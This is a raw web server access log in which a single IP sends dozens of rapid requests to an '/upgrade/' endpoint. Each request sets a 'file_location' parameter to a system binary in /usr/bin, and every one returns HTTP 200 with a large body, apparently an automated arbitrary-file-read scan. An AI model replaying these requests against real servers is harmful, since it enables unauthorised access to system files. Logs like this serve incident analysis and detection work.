45.135.193.11 - - [11/Sep/2026:22:46:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpstree&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 110391 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpstree&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 112758 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fchcat&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99877 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fchcat&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fchown&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 122746 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fchown&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Frm&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 123032 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Frm&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsetup-nsssysinit&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96232 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsetup-nsssysinit&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpg&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 652466 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpg&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmytop&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 121156 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmytop&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fred&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95869 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fred&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcut&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 114940 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcut&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdomainname&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102748 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdomainname&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpkexec&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106560 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpkexec&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Frmdir&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 113367 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Frmdir&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsdiff&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 114043 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsdiff&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsedismod&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 239534 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsedismod&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fslabinfo&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 110270 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fslabinfo&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fupdate-gtk-immodules&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95689 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fupdate-gtk-immodules&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdnsdomainname&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102776 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdnsdomainname&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsemodule_unpackage&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100005 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsemodule_unpackage&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fw&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104506 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fw&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fappstream-compose&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106700 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fappstream-compose&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbc&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 138361 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbc&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcolumn&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107720 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcolumn&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fapropos&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 114291 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fapropos&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcmsutil&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 113635 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcmsutil&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcomposite&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99057 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcomposite&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fevent_rpcgen.py&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 109962 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fevent_rpcgen.py&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysql_install_db&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104543 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysql_install_db&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpatchwork&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100146 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpatchwork&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fprotoc&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101258 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fprotoc&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbrotli&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 437442 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbrotli&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcat&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 109713 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcat&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgettextize&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 109270 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgettextize&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmontage&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98879 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmontage&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Frepoquery&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97560 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Frepoquery&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftee&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 109399 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftee&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcifsiostat&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104538 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcifsiostat&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdijkstra&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102233 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdijkstra&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fkbdinfo&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101929 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fkbdinfo&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmktemp&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 111678 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmktemp&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fresolveip&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 885554 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fresolveip&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Funlink&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107140 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Funlink&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fyumdownloader&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97679 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fyumdownloader&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcpan-mirrors&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98115 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcpan-mirrors&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdbus-uuidgen&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99977 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdbus-uuidgen&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdeallocvt&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100856 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdeallocvt&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgtk-query-immodules-2.0-64&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101426 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgtk-query-immodules-2.0-64&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fimunify-service&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96015 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fimunify-service&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpsfstriptable&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106934 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpsfstriptable&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwsrep_sst_mysqldump&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99437 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwsrep_sst_mysqldump&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffio-histo-log-pctiles.py&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105256 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffio-histo-log-pctiles.py&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fssh-agent&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 222280 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fssh-agent&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftload&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102215 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftload&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbusctl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 136325 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbusctl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgsdj&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95668 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgsdj&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-fix-extensions&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96545 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-fix-extensions&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_read_attr&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108043 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_read_attr&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbzip2recover&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101687 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbzip2recover&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fchfn&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95776 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fchfn&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdircolors&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 113542 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdircolors&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fea-wappspector&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95868 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fea-wappspector&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
